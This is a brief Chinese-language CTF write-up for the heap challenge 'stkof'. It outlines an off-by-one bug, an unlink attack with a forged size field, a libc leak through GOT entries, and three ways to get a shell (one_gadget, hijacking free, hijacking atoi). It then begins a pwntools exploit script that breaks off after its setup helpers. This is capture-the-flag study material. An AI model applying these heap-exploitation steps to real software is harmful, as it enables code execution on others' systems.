Stkof
题目描述
同[[堆]]类型的题目
基础的堆题目(创建、释放、修改)
特征:带有off by one
在写堆数据时
题目原理
- 利用
unlink
的套路,合并伪造size
标志位使堆块提前向上合并
- 将堆控制权提到系统数据可控制区域
- 伪造
fake_chunk
填充got地址使得程序内部libc基地址泄露 - Getshell
- OneGadget,修改GOT指向的地址为OneGadget地址
- 劫持Free
- 劫持atoi
Exp
- Exp使用了3种方法
- one_gadget
- 劫持free、写
/bin/sh
到堆chunk内 - 劫持atoi,利用stdin直接将
/bin/sh
输入
#coding=utf8
from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')
p = process('./stkof')
elf = ELF('./stkof')
libc = elf.libc
sl = lambda s : p.sendline(s)
sd = lambda s : p.send(s)
rc = lambda n : p.recv(n)
ru = lambda s : p.recvuntil(s)
ti = lambda : p.interactive()
def bk(addr):
gdb.attach(p,"b *"+str(hex(addr)))
def debug(addr,PIE=True):